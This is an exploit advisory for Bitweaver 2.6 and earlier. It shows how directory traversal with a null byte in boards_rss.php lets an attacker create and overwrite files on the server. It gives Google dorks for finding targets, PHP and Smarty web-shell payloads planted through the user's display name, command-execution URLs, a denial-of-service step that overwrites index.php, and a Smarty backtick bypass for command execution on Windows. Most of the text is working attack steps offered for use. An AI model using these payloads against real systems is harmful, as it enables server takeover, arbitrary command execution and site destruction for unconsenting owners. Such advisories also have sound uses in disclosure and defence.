Bitweaver <= 2.6 /boards/boards_rss.php / saveFeed() remote code execution
exploit
by Nine:Situations:Group::bookoo
php.ini independent
site: http://retrogod.altervista.org/
software site: http://www.bitweaver.org/
You need an user account and you need to change your "display name" in:
{php}passthru($_SERVER[HTTP_CMD]);{/php}
Register and click on Preferences, look at the "User Information" tab,
inside the
"Real name" text field write the code above, then click on Change.
Google dorks:
"by bitweaver" Version powered +boards
"You are running bitweaver in TEST mode"|"bitweaver * White Screen of Death"
Versions tested: 2.6.0, 2.0.2
Vulnerability type: folder creation, file creation, file overwrite, PHP
code injection.
Explaination:
look at /boards/boards_rss.php, line 102:
...
echo $rss->saveFeed( $rss_version_name, $cacheFile );
...
it calls saveFeed() function in an insecure way, arguments are built on
$_REQUEST[version] var and may contain directory traversal sequences...
now look at saveFeed() function in /rss/feedcreator.class.php
...
function saveFeed($filename="", $displayContents=true) {
if ($filename=="") {
$filename = $this->_generateFilename();
}
if ( !is_dir( dirname( $filename ))) {
mkdir_p( dirname( $filename ));
}
$feedFile = fopen($filename, "w+");
if ($feedFile) {
fputs($feedFile,$this->createFeed());
fclose($feedFile);
if ($displayContents) {
$this->_redirect($filename);
}
} else {
echo "<br /><b>Error creating feed file, please check write
permissions.</b><br />";
}
}
}
...
regardless of php.ini settings, you can create arbitrary folders,
create/overwrite
files, also you can end the path with an arbitrary extension, other than
.xml passing
a null char.
ex.
http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo.php%00
now you have a bookoo.php in main folder:
<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.7.2" -->
<?xml-stylesheet href="http://www.w3.org/2000/08/w3c-synd/style.css";
type="text/css"?>
<rss version="0.91">
<channel>
<title> Feed</title>
<description></description>

<generator>FeedCreator 1.7.2</generator>
<language>en-us</language>
</channel>
</rss>
You could inject php code by the Host header (but this is used to build
filenames and
create problems, also most of servers will respond with an http error)
inside link tag
or by your "display name" in title tag, ex.:
http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../bookoo_ii.php%00&u=bookoo&p=password
and here it is the new file (if your display name is "<?php
passthru($_GET[cmd]; ?>"):
<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.7.2" -->
<?xml-stylesheet href="http://www.w3.org/2000/08/w3c-synd/style.css";
type="text/css"?>
<rss version="0.91">
<channel>
<title> Feed (<?php passthru($_GET[cmd]; ?>))</title>

</channel>
</rss>
if short_open_tag in php.ini is off (because of "<?xml ..." preamble
generating a parse error with short_open_tag = on), you can now launch
commands:
http://host/path_to_bitweaver/bookoo_ii.php?cmd=ls
However, to bypass short_open_tag = on you can inject in a template file,
ex.:
http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../themes/templates/footer_inc.tpl%00&u=bookoo&p=password
Now footer_inc.tpl looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.7.2" -->
<?xml-stylesheet href="http://www.w3.org/2000/08/w3c-synd/style.css";
type="text/css"?>
<rss version="0.91">
<channel>
<title> Feed ({php}passthru($_GET[CMD]);{/php})</title>
<description></description>

<generator>FeedCreator 1.7.2</generator>
<language>en-us</language>
</channel>
</rss>
note that the shellcode is in Smarty template syntax ...
Now you can launch commands from the main page:
http://host/path_to_bitweaver/index.php?cmd=ls%20-la
or
http://host/path_to_bitweaver/wiki/index.php?cmd=ls%20-la
Additional notes:
Without to have an account you can create a denial of service condition,
ex. by replacing the main index.php:
http://host/path_to_bitweaver/boards/boards_rss.php?version=/../../../../index.php%00
I found also a bug in Smarty template system, against windows servers you
can launch commands
with this:
{math equation="`^C^A^L^C`"}
They filtered non-math functions, but they forgot php bacticks operators.
This is
the same of launch exec() !
